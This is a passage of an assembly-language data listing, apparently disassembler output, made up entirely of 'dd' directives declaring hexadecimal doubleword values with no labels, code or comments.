		dd 56728D03h, 2C1D47Fh,	397C15CAh, 4099C0FEh, 50B225C1h
		dd 7DAD9566h, 0A15D9DE0h, 28059BF3h, 10812222h,	4AAD8D3Ah
		dd 4F38C0CEh, 80A89E5Bh, 0A5AA9C3Ch, 28770B64h,	83705140h
		dd 509317B4h, 0B17A930h, 0FAB201D7h, 72A2BF66h,	0FEA515Fh
		dd 93A62A8Bh, 0AC8E5B84h, 0D314AAC6h, 0B13485E0h, 0D70CAC9Dh
		dd 0E5E2DCE6h, 263B10E0h, 1B4F3D06h, 2062A441h,	9DEC081Dh
		dd 212DC924h, 87B53572h, 0D772EE84h, 1EC32C6h, 35EB135Ch
		dd 21F2814Ah, 42DD2CA8h, 5D5091DAh, 9E079495h, 59ED272Eh
		dd 0C34DBBE2h, 0DD504A07h, 0E34E761Eh, 0F531EA9Ah, 2B46630Dh
		dd 3500FDF2h, 1384DC65h, 623F14D1h, 0D0B50088h,	0D98BD531h
		dd 0B6C6705Fh, 3900DE9Ch, 2D8068E6h, 97FCFE93h,	5FEC6716h
		dd 0CFFFF338h, 0BE92E3DBh, 0FA8BE530h, 0FD9D250Bh, 0B6C1F6A5h
		dd 0C11AE0CBh, 201501C6h, 8FFB44FDh, 93C66EAEh,	666005BFh
		dd 0D52029B9h, 0C241FB06h, 2DF19589h, 82A6742Eh, 0FC2401E4h
		dd 5229CCBEh, 8DBAF500h, 0D97379DAh, 0C2043A27h, 0EDAD788Bh
		dd 0C11EF56h, 7A2EA55Eh, 493328Dh, 60651290h, 0A9D2DF02h
		dd 961AD9Ch, 6A12E985h,	0C453770h, 0B563FE2Fh, 8BE713B1h
		dd 1AC4A4FBh, 0B4D24667h, 29ECED37h, 3E649511h,	71AD4299h
		dd 0C850179Fh, 7300D36Fh, 6F62651Bh, 0B860E5Bh,	549B1E8Ch
		dd 27F6425Ch, 52D62F63h, 27737ADh, 0D94B22E6h, 0BDB3C45Fh
		dd 1220F204h, 0FB5025B3h, 9D2B4B35h, 0C59B2B01h, 0EA511380h
		dd 912CAFFh, 2DD2C5B5h,	0DC907CD1h, 0CD7F3A0Ah,	6B60C466h
		dd 4B59D4D3h, 38488A90h, 0A7A5A45h, 6539EF00h, 4B1770A8h
		dd 4C8C3C01h, 26AF88Bh,	99007038h, 57BB50E6h, 0E5540DBh
		dd 3B5FE5F2h, 0DABFBD63h, 9BD8F0Ch, 0C44E71D1h,	953A88BEh
		dd 0BD311127h, 7A030006h, 0A14D33B4h, 16F30495h, 0B6D26CB9h
		dd 0BD5FE02Fh, 0FA010040h, 0F7D471C9h, 0B2C45269h, 5F041CE5h
		dd 7FACB290h, 6BA2484Ah, 289538Ah, 5F5BF262h, 0F805AA5Ch
		dd 94819022h, 0CA2A346Dh, 5A204B14h, 2FB88CBh, 920B3403h
		dd 9C5CD333h, 808637C9h, 5DECEE56h, 2E09773Ah, 21ADD75h
		dd 921E9FFh, 3EA98959h,	0D8F4BB93h, 4DC7B56Ah, 0AE601B44h
		dd 0A70584B0h, 0A04AA276h, 2C203EACh, 920B74B0h, 821A67ADh
		dd 0F3297916h, 201ED02Ch, 0F1FD6C24h, 0C45B0A90h, 8C9FADF5h
		dd 160F37FEh, 0EDB0DFB7h, 80BB8F37h, 0E6773025h, 5F91BD70h
		dd 0DA63E002h, 1AAD7F00h, 8885D5D3h, 17A204E5h,	0D94BF58Dh
		dd 57063AC7h, 1871819h,	6129BDBBh, 2EFC71E4h, 84B98748h
		dd 0B814E380h, 4ADE906Fh, 21856FDCh, 602518A9h,	97DD8A69h
		dd 0C82B4D00h, 3A00F4BBh, 0D18B301Dh, 92ED9D01h, 0BD638B5Bh
		dd 179C5100h, 1829ED7h,	0B4ADC9AEh, 71C29B5Ch, 3943A55h
		dd 0A5018C08h, 0E002456Ah, 1AC4157Dh, 0E59D9CC2h, 64465C2Eh
		dd 811C5810h, 4187C81Bh, 8749BB81h, 0F32B7D39h,	109B50E4h
		dd 9EB7F012h, 272249E2h, 8A821EC7h, 1909A5D5h, 518388FEh
		dd 274D6225h, 0A008805Eh, 97CDE2C0h, 8D45130h, 2EE6ED4Ah
		dd 2899B5F0h, 0AED46217h, 23750BD1h, 0D203A23Bh, 0F9806F9Ah
		dd 0BF934F25h, 0A6054D79h, 8FCB91Ah, 0B1925FF8h, 0ED9B2B2Bh
		dd 8116FD92h, 26399D2Bh, 0B920C606h, 23FC2816h,	2BC9C5EDh
		dd 0C0EFDBC0h, 0B292F890h, 902D78E7h, 5FDA25BBh, 0C7D0D553h
		dd 0F03AFD08h, 194171EBh, 26366D2Bh, 9FEB05Ah, 14D338ABh
		dd 84C6A796h, 0B949A9DAh, 6E91CD7Bh, 71FF3CEh, 0B4D70039h
		dd 0B09F331Eh, 0BE602F00h, 0A878C801h, 0EE6B122Dh, 178E2AFh
		dd 9C9EEB81h, 6B6E473Fh, 192352h, 46032DB0h, 66BFC2C0h
		dd 0F780026Eh, 31F860D9h, 65250A63h, 0B78CCE61h, 3C4057EDh
		dd 1D4D70DEh, 2371E90h,	0F419D0Bh, 0A1459D55h, 0BB4AF874h
		dd 0C04FBC09h, 0D5158935h, 94954470h, 0DE635E7Ch, 5EB6C91Fh
		dd 2BA03F58h, 4F76EFE8h, 0B80D201Ch, 60874F25h,	264CA7EAh
		dd 794ED490h, 0A3B3E412h, 0E19CF04Ah, 0A1B5290Bh, 0C4B4CE23h
		dd 130436E1h, 5B80A6A8h
		dd 0D09A2BB0h, 18D6C39h, 2616538h, 282E23B9h, 41C0316Bh
		dd 0F64DFFBBh, 4E14970Dh, 60DB93EBh, 29C9E3ACh,	5F1F2504h
		dd 2C37ADh, 413E61C9h, 1890DC71h, 0D01BD12h, 0A692D7A9h
		dd 12FAA0F7h, 4B50985Dh, 0FB9785FBh, 9200176Eh,	0D4AF0DB8h
		dd 125DC8Ah, 0B16B7685h, 2A1695AAh, 411AFA8Ch, 0FA788001h
		dd 73DACCBFh, 1F9A9506h, 2600E066h, 0E0713D08h,	568FB3h
		dd 5CFC498Eh, 2B37BC43h, 958CE34Bh, 0BBCF0281h,	506BA687h
		dd 544BB97Ch, 2B5BC02Ch, 1B2D67A7h, 0E4FE6739h,	5F736214h
		dd 6F6AD6C1h, 0D1C19ADBh, 3E32A1BAh, 50F8810Bh,	0C12F01CCh
		dd 0D6059C68h, 0A204E78Ch, 7348FE63h, 6AC0219Bh, 2DE06BAFh
		dd 6D83F325h, 60176450h, 7F4FD334h, 95D704D1h, 0B844D8F8h
		dd 0E948DEE1h, 0AB04FCBEh, 0D3883301h, 2BA789FAh, 87C2E134h
		dd 9EFCA8BDh, 5DBD6225h, 0F000A7CEh, 0F86C4D94h, 6102Eh
		dd 1EBF4678h, 268BC9A4h, 0C45D0D25h, 0DED194AFh, 1B1F9B01h
		dd 0F8779671h, 81C4302Eh, 9F04BDC7h, 6897819h, 9E007CB2h
		dd 18B8D7E1h, 792E7CD5h, 0AF1EF9BDh, 4BA4CCE5h,	0EEA084FAh
		dd 9F090E6Eh, 0B07160ECh, 3855BF00h, 244F5254h,	6092F386h
		dd 0E05D8267h, 76E6EF00h, 0CFC1993h, 41009FC2h,	5A38EAF0h
		dd 0BD096109h, 503A41A9h, 2F2DB4BCh, 0CF80F182h, 2F73F45Fh
		dd 0C4A735BDh, 22C75C2Bh, 9D09DD04h, 6813B03Dh,	97F5060Bh
		dd 752A4A1Bh, 5B498FD4h, 0F6F902DBh, 0EDE11B88h, 1E842BEDh
		dd 84252AAAh, 2EA5037h,	36C4685Ah, 6C002171h, 0B025206Dh
		dd 63BB0266h, 3CB750EBh, 4D55336Ah, 7668C014h, 59059DDDh
		dd 6ACF886Fh, 891FC91Dh, 40CFE524h, 0E1533ADBh,	0A6CCA04Bh
		dd 0F2E09F88h, 5C820DDDh, 0CDDE5A1Dh, 60A0B042h, 4DC16Bh
		dd 0BDE674D7h, 0E1AF641h, 9ED01761h, 282E5B40h,	40D36B51h
		dd 25AA6FBAh, 481B7095h, 0D34F1C01h, 0F9845CE4h, 0EA3AE925h
		dd 0F489620h, 7819508Eh, 7F89880Dh, 79E4200h, 39FFAF3Eh
		dd 0F4D23D55h, 0C9BFFC4Ah, 0D759795Fh, 7E845117h, 0C16EEAh
		dd 0BFE80A02h, 4B872971h, 2256CA3Ah, 78919355h,	4E094AD8h
		dd 161D1C5Eh, 5D276920h, 8060F540h, 8909F00Bh, 97EBDEB5h
		dd 2FAECD61h, 3D894DDCh, 0CCCB0A13h, 31776071h,	268EA549h
		dd 112F353h, 6158BA81h,	0A0A4CA2Ah, 0BC4FC91h, 7A5440CAh
		dd 0D9E2F95Ch, 7273091Ch, 25E135AFh, 0D3042CD8h, 21B52995h
		dd 979673A0h, 11026A61h, 0F1EA5F53h, 3EB1005Dh,	94267091h
		dd 6925EB01h, 43A7078Dh, 4804AA91h, 78CA1414h, 0FEF6D3AFh
		dd 80ACFCF0h, 0F412A3ECh, 9EADDE8Bh, 0A06AB6D2h, 7C59637Bh
		dd 5F512B85h, 0E74C3BD8h, 36EE0225h, 0C5DB8012h, 0F1633F3h
		dd 0C758887h, 3F930613h, 5153228Ch, 0E3F9E60h, 83A5619Ch
		dd 5F34EBC2h, 22FDBBFh,	46B41F2Eh, 271B5E33h, 0D07349DBh
		dd 5E5795B4h, 0ECCB0FEh, 8FBDB383h, 12E47A49h, 0F7986DCBh
		dd 499A5A4Ch, 55F89980h, 67049D0Bh, 2E39BD33h, 9AB443BCh
		dd 29DC9E5h, 1B3D51h, 99D38153h, 527A6813h, 0E09B4D53h
		dd 0A8724A80h, 76286FC7h, 3D20FF9Ah, 0F8B32415h, 2284C95Eh
		dd 5B92EDCDh, 7AFFDA12h, 440325FDh, 358E007Ah, 89699954h
		dd 9100572Eh, 0DA40906Fh, 2756B2FEh, 20F95FFCh,	5AEEDC83h
		dd 47B9986Dh, 14B60B38h, 95A97E69h, 9BC2B56Dh, 0ADC4C1E7h
		dd 0F508837h, 0BD913FC7h, 0E0652F04h, 0D239BD18h, 7FA0A7E6h
		dd 2E0B4145h, 58CA2C5Fh, 23214103h, 0C3E70033h,	0A55C5E0Eh
		dd 0FE8C39E6h, 66FFF600h, 13C98D09h, 44489C97h,	58CFFC25h
		dd 502510DDh, 2790FD90h, 0AAC28500h, 0E02B42Bh,	0EB4A010Fh
		dd 990A3D43h, 81A55497h, 55487E61h, 0C0E3DE88h,	0AAC7BDE4h
		dd 0E82B29BEh, 0AFA503E4h, 0C6C863BCh, 0FD0B5ADEh, 0A7B7AA46h
		dd 5B7639C2h, 0E862584h, 0D48037E6h, 768CBE7Ch,	1A712731h
		dd 83D8E22h, 0CAD87675h, 0E550961h, 64C7D371h, 0F4F6D60Bh
		dd 8AE0A83Ah, 0BC522E0Ah, 7124A909h, 935C69D7h,	0E57A00D4h
		dd 11235A5Ch, 6B4B2431h, 7651C282h, 0E2194082h,	44077C2Ah
		dd 5B616018h, 6BAF7119h, 74DC1774h, 233A048Dh, 1C1965BDh
		dd 0D3854BBAh, 56C1330Bh, 0ED4DEB1Dh, 0F09F7340h, 9D5C04B6h
		dd 0A8DD8531h, 5190026Eh, 0C6C78B60h, 0DBA3001Bh, 3250583h
		dd 7507C2BEh, 0C90BC1D9h, 41F8B500h, 83A2516Bh,	8AA9B43Eh
		dd 0D9BCF44Bh, 49B853B0h, 25958C09h, 0C32C5D5Bh, 9A9DCF70h
		dd 0ED1E6007h, 6A61801Fh, 80F7379Dh, 20698E36h,	0A32F8CC1h
		dd 39EE8211h, 0BE040B17h, 5825405h, 614504D2h, 9E53AF02h
		dd 21CD77EDh, 59774BE0h, 0CDF804E1h, 0B8F324B9h, 4B6E4FD2h
		dd 34D9CE02h, 6156DF19h, 0CA892D60h, 549F613h, 6D289A93h
		dd 0EABF12C4h, 6449ED67h, 29B90014h, 0BF13471h,	9103C419h
		dd 0DF03949Eh, 5F2E255Bh, 52803079h, 87417C7Dh,	0D114C59h
		dd 5F464805h, 0B8CAB990h, 8C760009h, 2F6C0AEEh,	0D05845ACh
		dd 0B0B30BACh, 0F939A416h, 1E210989h, 57BE735h,	0ED0FB9F4h
		dd 413E8E8h, 4E42CFD0h,	32610F26h, 2DD024F2h, 6E01BEFCh
		dd 2B6CC696h, 4828880Fh, 0FF0927C1h, 0C0985BD1h, 8B6269B0h
		dd 0DC130401h, 0ECE566FAh, 43AE961Eh, 7D2D7270h, 21538D88h
		dd 0B4753F16h, 0ABB291ACh, 0AD0B8925h, 69915616h, 8F504B5Bh
		dd 4CDE0160h, 2809FDAFh, 0D4F03B72h, 241D4DA5h,	60E84454h
		dd 0CBF3390Ah, 0CC010419h, 5682363Fh, 50205B1Bh, 510644E9h
		dd 0AABCA809h, 9B047D45h, 0A1C1E85Fh, 36A6D98Bh, 19A5094Bh
		dd 0D997C1D0h, 951AB7FDh, 4E9BCAE2h, 0A2008F6Ah, 911C3207h
		dd 9A62E9A6h, 69FDBD7Eh, 9D645B96h, 0C45764BFh,	0B79FBC0Eh
		dd 96189E34h, 299B6587h, 12959478h, 0AF67DBB7h,	0FCA2BC57h
		dd 46EE5000h, 51E804C5h, 0DD4BF8E2h, 0D53CA9CDh, 54A36181h
		dd 41EBC0DFh, 90D21409h, 0C6B8CA60h, 61CA00F9h,	0A3BD6879h
		dd 80788C50h, 0DE38D73Dh, 0D27E4630h, 7432002Fh, 0FA768FD3h
		dd 0E27D998h, 929A7C14h, 0E033A690h, 4E4BA12h, 1AB5AA0Ch
		dd 355A810Bh, 0B202D30h, 56FCFDF3h, 927652D8h, 0CBFB9FD4h
		dd 0D0F99D8Bh, 0D9F84B21h, 0DE534CDFh, 2294234Bh, 8AC3BFB8h
		dd 0BBC86ADDh, 8FE135Bh, 4ABF99B8h, 714453CDh, 859488F6h
		dd 8D89020Ah, 94572605h, 0C15452Ch, 730054E2h, 0E665174Ah
		dd 74B5E1CCh, 0B0F826AFh, 29F98802h, 6470B13Fh,	0AA0514FDh
		dd 0A1959D06h, 8068B1D7h, 0CF097AD6h, 14BEE65h,	2FD885D2h
		dd 55E185A6h, 51880B97h, 7AD4255Ah, 0B56A1050h,	9D843EF1h
		dd 0C14901F1h, 1D5B5918h, 0D466601h, 0D4B99D7Dh, 4A3D3330h
		dd 250FF231h, 252FF18Bh, 0D99DAAC4h, 3C899980h,	0D161961Bh
		dd 79705BBCh, 80034483h, 0D0DCE727h, 811D40BAh,	1290EF5Ch
		dd 0A1F02A40h, 0DFBF250Fh, 6F209EE2h, 0ED5926Dh, 3825D801h
		dd 0DFBAEF84h, 23EE9C2Bh, 20659D11h, 0B5813D22h, 4E003DF1h
		dd 929DCCF8h, 22A5F2DFh, 0BD231226h, 0A5E1F4F9h, 31FE17A1h
		dd 0AC65314Ch, 62209F0Eh, 3229573Eh, 5E5B7931h,	1440C2A4h
		dd 6A57E109h, 0F035A63Bh, 92FA96CAh, 0B5B680FBh, 0AAD3B534h
		dd 128737Ah, 0D1091416h, 0CEA32A32h, 9FBCC05Eh,	852529CAh
		dd 61850179h, 4ED274B9h, 51810784h, 500B1948h, 0E51ECEDDh
		dd 0E391F825h, 18DBF8C3h, 1C53011Dh, 0AF073BBFh, 3F5EF279h
		dd 0C77C01DCh, 2793C4B3h
		dd 6E0BD5EEh, 0CB417FF2h, 70A6F8DEh, 724FBDB8h,	43015B60h
		dd 2B2C12D3h, 0E634AFD2h, 0CED8804h, 0FCB5ADBDh, 7B9A455Ch
		dd 0B23D7720h, 56210098h, 0BA04DF38h, 0E6042566h, 15E12C0Ch
		dd 0E64B62BDh, 223DF015h, 0BE211E70h, 0C8E91750h, 0DE188635h
		dd 9DF6959Ah, 956A9A39h, 396804CDh, 17F67461h, 5EB431F8h
		dd 0EADCC4C0h, 5EFE70C2h, 59506985h, 0D9A445B5h, 0B1651814h
		dd 9C36801Eh, 21FFE7A4h, 0C0DFCDB5h, 20717DD9h,	7A019097h
		dd 1BD79DB2h, 39FDB89Ch, 0CA544B3Bh, 98A22C91h,	559DFCh
		dd 6DF13EDBh, 3DE84CB7h, 0ADFCA926h, 17510573h,	0B6004C18h
		dd 0E9BBBE10h, 0B54E8D97h, 16648E6Dh, 0CD127861h, 0B4A4C0BBh
		dd 0E1FF4E12h, 0A9E0E6A6h, 202AFCBh, 8EDED207h,	51D05E41h
		dd 5EF81231h, 103E51BEh, 975FF551h, 0F845BC94h,	39F03E26h
		dd 0BE01D8E1h, 925C1DC9h, 0F52127B7h, 0F2041BE1h, 9C1E1D04h
		dd 8A106280h, 63B7ADh, 0BF81D9B5h, 5CBB6C18h, 4605F25h
		dd 0CEBC2375h, 0C626409Fh, 0E1802E03h, 89E4B795h, 0A17ABFB1h
		dd 97F59944h, 28601519h, 0DBEA806Eh, 5B50EE8h, 0F1248726h
		dd 4169829Bh, 6A6170C9h, 1DC8AFDAh, 17653EC0h, 0AE74E6h
		dd 95C81447h, 90D88AFCh, 0DF5E0B98h, 0E4F095B6h, 87E82E7Dh
		dd 8A5BBB06h, 4E58C086h, 539BFA6Ah, 0E07F3B87h,	0F77B6ADAh
		dd 0BC15D62Eh, 0DD2A5D09h, 0F82039B1h, 780011B8h, 0F645622Bh
		dd 5AF49D46h, 20C9F8E7h, 0A85F4E0Dh, 3FF83E4h, 0E2BF801Fh
		dd 4A5125E4h, 5216BE84h, 0BFE588h, 81B0D197h, 0CC169214h
		dd 0F531B14Fh, 0BDA08B5Fh, 0D70B83F2h, 2C421809h, 74CF0012h
		dd 6DF4731Eh, 27277018h, 84F5D225h, 3C6054D9h, 1FE76E2h
		dd 0E6C9091Ch, 0FD0201B8h, 48FD1011h, 659B0055h, 8193BEE2h
		dd 0FE001295h, 327CF8BAh, 15F59F3h, 0AAFD80B9h,	6A58612Fh
		dd 0D5F8EAC2h, 7E809231h, 0D714FA37h, 0BC26E9EEh, 0E9FC09A8h
		dd 3D5D019Ah, 0B3820000h, 1E2C1391h, 0D1F33B09h, 0AE20D1F4h
		dd 0D3044045h, 2101109Fh, 0AF8643DEh, 343AA6D7h, 0DAB00928h
		dd 0EDA514D1h, 4BA0C06Ah, 84FAECE7h, 4AAA9B02h,	51853138h
		dd 1DE425E3h, 1D622590h, 8F068919h, 760229ABh, 0D25B5A4Ah
		dd 2E05A50h, 5C6137C2h,	0A562D136h, 0F815C6D5h,	0AC7BD61Fh
		dd 50D8122Fh, 46CBF2F4h, 2FA543E0h, 609B7947h, 0D64D3B68h
		dd 9CBF7C04h, 0CFBD5342h, 0C94EC40Fh, 0E010B692h, 2414C917h
		dd 1DBFD41Ah, 872B920Eh, 0F47BA9A4h, 96DAC1ADh,	0F53D4E31h
		dd 4A63225Eh, 0C2E9EFF9h, 80F73794h, 0A2E62321h, 0BD09121Ah
		dd 42434FD5h, 0F69DB2F7h, 751FDCB8h, 0E78153F8h, 4B335AE5h
		dd 7D10C438h, 0FC814B18h, 4A1A1C45h, 9DBC1CBDh,	7DF2DD38h
		dd 6525EC96h, 627D27E7h, 70DA7309h, 6E004185h, 0B61353F7h
		dd 44E9864Dh, 6DFE2921h, 71C82569h, 2902D7CBh, 5C08E1BDh
		dd 0F2CA924Fh, 844A88ADh, 0BA69B589h, 0A337C53Ch, 2B51E913h
		dd 81389C2Ah, 0D012EF74h, 0F5BD0A65h, 1F006AD7h, 0C4A7E7B3h
		dd 0AA563C1Ch, 7A989582h, 0B557677Bh, 84159127h, 8EBD334Fh
		dd 0A8AEEDD7h, 0F67D007Ch, 1246B5AEh, 0D3048131h, 2008A77Fh
		dd 52FB8884h, 4009EE8Fh, 4D62AAFBh, 49090FDEh, 0AC817915h
		dd 44B13DC8h, 0F825EDC0h, 9321015Fh, 0AEC55032h, 9B6B2F8Ah
		dd 4B021723h, 0D1FBF09Ah, 0D6590041h, 69689537h, 4ADD4A56h
		dd 6F02DBA2h, 0B615E489h, 91A08475h, 7A042B4Bh,	5B2AD20Bh
		dd 915335D7h, 0E0E6801Dh, 3991559Eh, 10BD5EDDh,	4CD9CD4Bh
		dd 5A00D73Ah, 60DDEB4Ch, 2780875Ch, 713A33F7h, 1500DFBh
		dd 2C1002B4h, 27E78065h, 0F631F85Eh, 0B80409E5h, 1C135AE6h
		dd 0C2B54492h, 2A96D5C7h, 2D47FBCh, 0AF8FE2DCh,	53403446h
		dd 128319D5h, 0F72C710Ch, 185F4CC7h, 16E101Ch, 263126B5h
		dd 56775200h, 0E26D4B0Fh, 6611464h, 50566496h, 0A6137F9Dh
		dd 0B8C8F9DCh, 0C892027Eh, 637D83D3h, 0F800BDC6h, 960F8AFAh
		dd 54726F5h, 107B5DDFh,	8A6E310Dh, 5A301517h, 2485AA7Ch
		dd 6076AE57h, 94BA222Fh, 9BC6CF0Bh, 0E2515C5Fh,	5E1E2B65h
		dd 0B07DB76Ch, 2CDA9E1Fh, 1E8BDF6Ch, 74AAADEh, 41FBEB6h
		dd 0E484EB7Ah, 7DDBEE34h, 0D85601C0h, 13BD269Dh, 0D029B0A7h
		dd 0A76F005h, 0A1940421h, 75D700E7h, 8C4DB4DCh,	16A56F2Ch
		dd 2E3AEBE0h, 0F7534A6Bh, 94F64F91h, 821231A0h,	0C0219A01h
		dd 9F494357h, 0C787343Eh, 0BA1624DBh, 1823B26Fh, 1407A400h
		dd 0A6572B08h, 845A2983h, 0FA7F968Fh, 2F30F240h, 98341E0h
		dd 5FAA746Bh, 70A8B679h, 4EB21497h, 0B1AAA757h,	0BE705455h
		dd 0DB074B69h, 0C7B0D1AEh, 3830B962h, 0E0736A02h, 0C65A2E3Fh
		dd 0E1FD4506h, 0A53D2E67h, 2D6B6A6Eh, 79D686h, 2EE9F1CBh
		dd 0FBB7FFF3h, 0F65B7866h, 546E8C01h, 9D0960F8h, 66ACD03Bh
		dd 982FD0BBh, 2514F261h, 427B1B19h, 6913899Fh, 35A98956h
		dd 446E4Fh, 1779C69Dh, 257E3A8Ah, 65E6C55Ch, 8483535Eh
		dd 765E665Bh, 69F18F55h, 1634BCCCh, 5A03CBFh, 72C8124h
		dd 29AEED6Eh, 9DEFB54h,	95945850h, 52256A71h, 0B0AF00DDh
		dd 496BC61Fh, 0ED258257h, 0A44D7h, 6C724615h, 56365B37h
		dd 3FFC08D2h, 894CBD97h, 807FF996h, 0C56EFF2Eh,	3D0051BCh
		dd 0A7DE880h, 721D68D9h, 0A14012A5h, 2BD6F15Bh,	16048C6Eh
		dd 0C0BAF6A1h, 8206FAEAh, 0C9C2F2E5h, 5F8BE07Eh, 0AD481390h
		dd 0B4CEB6DBh, 9104F834h, 0F8F3BEC2h, 80C580EEh, 0E9CC0A0h
		dd 9BCA810Eh, 892B95E0h, 0F95F8608h, 1A07C8A2h,	20B532D6h
		dd 4BFA1BD2h, 9AFB911Ch, 921F1C00h, 5EE0E2FFh, 8583A88Bh
		dd 59F66A5Fh, 367551F0h, 9C8F807h, 521C35BDh, 0ADB52531h
		dd 276A6E61h, 747EA2F3h, 807CA510h, 897097F4h, 7EE88095h
		dd 9D18B3DBh, 0B3DE0E09h, 521600F6h, 5667A189h,	5B09F98Ah
		dd 0D23D1FFh, 282EAFCAh, 408A71D4h, 9712F524h, 6776D49Ah
		dd 7EAB00D4h, 0BF42E643h, 77748FBAh, 0D192F801h, 0D88B502Eh
		dd 0E87B6Fh, 0D966A6C4h, 2F26919Ch, 0EB90BB3Bh,	0CCFAF6EEh
		dd 92E2425Dh, 0B8B94816h, 0B88F4A78h, 6AF7E234h, 0D6DD72Ch
		dd 75F594C2h, 0CD25706Eh, 3F53D1Ah, 9CC7FF9Dh, 1F3FC0BDh
		dd 62B5175Fh, 1BD416Bh,	3A5DF512h, 60BFCD64h, 553BE85Eh
		dd 0EF05EC4Fh, 44BBDF8Bh, 119B3F39h, 95125AD9h,	0BD9782E2h
		dd 2F1A8F6h, 0DBBCC7DFh, 7B5E3DCAh, 0BEB77D6Bh,	0A0C1C49Eh
		dd 800FC064h, 8028E22Ah, 0F1FCCCF3h, 55FD00E3h,	1A749BFEh
		dd 0F55F93B4h, 0D09692B9h, 322EAA18h, 72AEFD00h, 6525AF04h
		dd 5687278Ch, 84039D0h,	3D52985Bh, 0B58D51FFh, 0E71730C9h
		dd 4594BFBCh, 89A6B9FAh, 1CA57BFEh, 42C420D9h, 0B00E354Dh
		dd 0EE9D0B07h, 2B9AF4D2h, 1B55BD10h, 352AE092h,	8DD2C64Bh
		dd 9DA22CB4h, 8DC9094Bh, 0BAD97885h, 9377EF06h,	0C3A259D0h
		dd 0CC55021Bh, 0C42D5BEh, 0E98BA2D7h, 0D9FC1A16h, 3379C325h
		dd 0DF5D2B53h, 4F7D1BAh, 63BB3006h, 2227570Dh, 198102D8h
		dd 7F6E7F31h, 4E24895Ah, 512D7CB8h, 40A47C1h, 9F2491D4h
		dd 614074B9h, 243850E9h, 0F6C4BD9Dh, 920F9B5h, 6E7942B3h
		dd 0CDB82114h, 0A5FDAF49h, 63FE1742h, 224C285h,	5A8C9589h
		dd 0B097F880h, 4A1DC869h, 506FEDh, 2725613Eh, 19FDB280h
		dd 7E56432Eh, 5CD53A91h, 0BCF0CFF6h, 6CE488D5h,	5A156016h
		dd 14AC5DBDh, 519B3E8Ch
		dd 0C1DAC79Ch, 0B95B05B5h, 34972EA1h, 3B79F3D1h, 0B673162Fh
		dd 0B232E023h, 0B86B0247h, 0E6CB80CCh, 4FB54360h, 3E81FC3Ch
		dd 3D8F06CAh, 0F70C02Bh, 14446AB1h, 5D2AD20Ch, 0EFF7634Ah
		dd 0A2311CF2h, 650598FFh, 4EBB00ACh, 0D424BFBDh, 4294148Bh
		dd 0D34A0BDCh, 0CF092685h, 37B77172h, 6A6D80EEh, 69CB23B4h
		dd 20EC3B5Eh, 66E50F25h, 46F82EA1h, 6E790E7Fh, 0BD92F41Fh
		dd 8C15ACE4h, 0F9E29416h, 0BB822ABDh, 845EB0CEh, 43999F56h
		dd 0AAF5EC3Eh, 0F6A7041Eh, 287B9501h, 232FC864h, 22C08A7Bh
		dd 112515D1h, 1A4AE55Fh, 0ED572654h, 0BCC5E415h, 4BB973Ch
		dd 5208F56Bh, 90420E3h,	0EF0C9185h, 84C0F7ECh, 181080D5h
		dd 7800BD7Ah, 0BA6B39CDh, 3B0767A3h, 7C89AB21h,	0AB01E1FFh
		dd 2EA996F7h, 8A47FC28h, 6D702E5Bh, 0D4C70207h,	0F98B10FDh
		dd 32501E5Eh, 21BD9504h, 75B7F30Bh, 6D4854BAh, 5C821389h
		dd 0DC25948h, 25D6A3Eh,	82B960B4h, 8D4FC8B1h, 121D9C39h
		dd 69203061h, 170706C9h, 8368AF91h, 0C321810Eh,	446095E0h
		dd 0A12366E1h, 714BB060h, 103749D8h, 0D72AD3C7h, 8B8F41DAh
		dd 37BF5063h, 0B15D23E1h, 137D7C6Ch, 0F6816D81h, 2F617AF2h
		dd 0AF195D48h, 234A2278h, 0B83366DDh, 0FB4FF113h, 55E64D12h
		dd 0C311CB2h, 1239D2Eh,	1503318Ah, 0DF375005h, 0A4A8BBC7h
		dd 908309DDh, 13C4F00Fh, 809AB850h, 0D39F0C07h,	78A00008h
		dd 3F6C3AD0h, 9709D716h, 0D4C72EB9h, 0F5A7C0B0h, 5B254187h
		dd 89B11890h, 1DF920BDh, 2AC5C0A0h, 0E38073A0h,	31684802h
		dd 0F11F0873h, 69DE258Bh, 0A92AB68Fh, 9A55891h,	1F1770CEh
		dd 129306B7h, 0D27188h,	82FDFEDFh, 0A27D100Bh, 0CB72FF00h
		dd 0C82CC5DEh, 2F4309BDh, 635B5BF5h, 16835ADh, 60611314h
		dd 30E72AF0h, 450FEB02h, 5B2975E9h, 0A11DDh, 0CA5ED4D2h
		dd 75608722h, 811A0FA6h, 0BB2467D3h, 4FE2B840h,	2FB0ACE7h
		dd 48259720h, 82FFC6EFh, 7EA95FDDh, 0DD566942h,	3C39576Bh
		dd 0E3242E41h, 85FBDBBFh, 8B00E03Dh, 3394AED3h,	0C052D9Dh
		dd 1A794FDBh, 0F20E9118h, 236B980Ch, 11BBB7BCh,	160335B4h
		dd 0BF6F0446h, 4BDC9200h, 78F75D43h, 0CE13964Bh, 0E80943E8h
		dd 0CF661B5h, 0B806BF81h, 12A167DAh, 801C9FF0h,	57458DE7h
		dd 0A1272D6Eh, 4B20DAA3h, 6B42CD96h, 12A53C2h, 0F5605168h
		dd 9DC02EE3h, 4A1A3AEh,	0D19D291Ch, 0D30EBD0Eh,	3879B930h
		dd 0E721668h, 2E7FB03Fh, 6A027782h, 0FC70EBC9h,	2751B7BDh
		dd 8D85105Ch, 75BB0815h, 0DAFE818Ch, 8C8B4218h,	0FA92B659h
		dd 0F6D7E0E3h, 0A9CFA121h, 0BA507850h, 44401DDAh, 176BA49Ch
		dd 0AE278491h, 0E155F32Ch, 0A094B72Ah, 882A36h,	0AA02F8A0h
		dd 0E9FFE3EBh, 0E9A7464Fh, 134694B0h, 2B0B9B01h, 0C2CEB977h
		dd 4B712E60h, 0EC12CE1Dh, 961BF48Dh, 7B4BCFh, 0B82D70h
		dd 0E88E07AEh, 17B32F4Bh, 74379497h, 363DB535h,	0AD977425h
		dd 12A5A1F8h, 8251069Ah, 0FB13259Fh, 2D75BEFAh,	48D302D5h
		dd 120A54ADh, 712DAE20h, 4FB86A3Fh, 0EE9EF0h, 52FD8765h
		dd 0C039F9BBh, 0E65B2125h, 42B3263Ah, 8A60034Ch, 0B6B561C6h
		dd 0ECEFE459h, 2963028Ah, 5521FD85h, 1BE453CDh,	0AB591160h
		dd 0B7E40305h, 0C3AC3890h, 18128D4Bh, 9D120196h, 8BBD1165h
		dd 195552CBh, 302E5BA9h, 2DF81B7h, 53207612h, 3B21B8CDh
		dd 0A8C1A2Bh, 0C4278856h, 0E325032Ah, 0A10C7111h, 0C293F190h
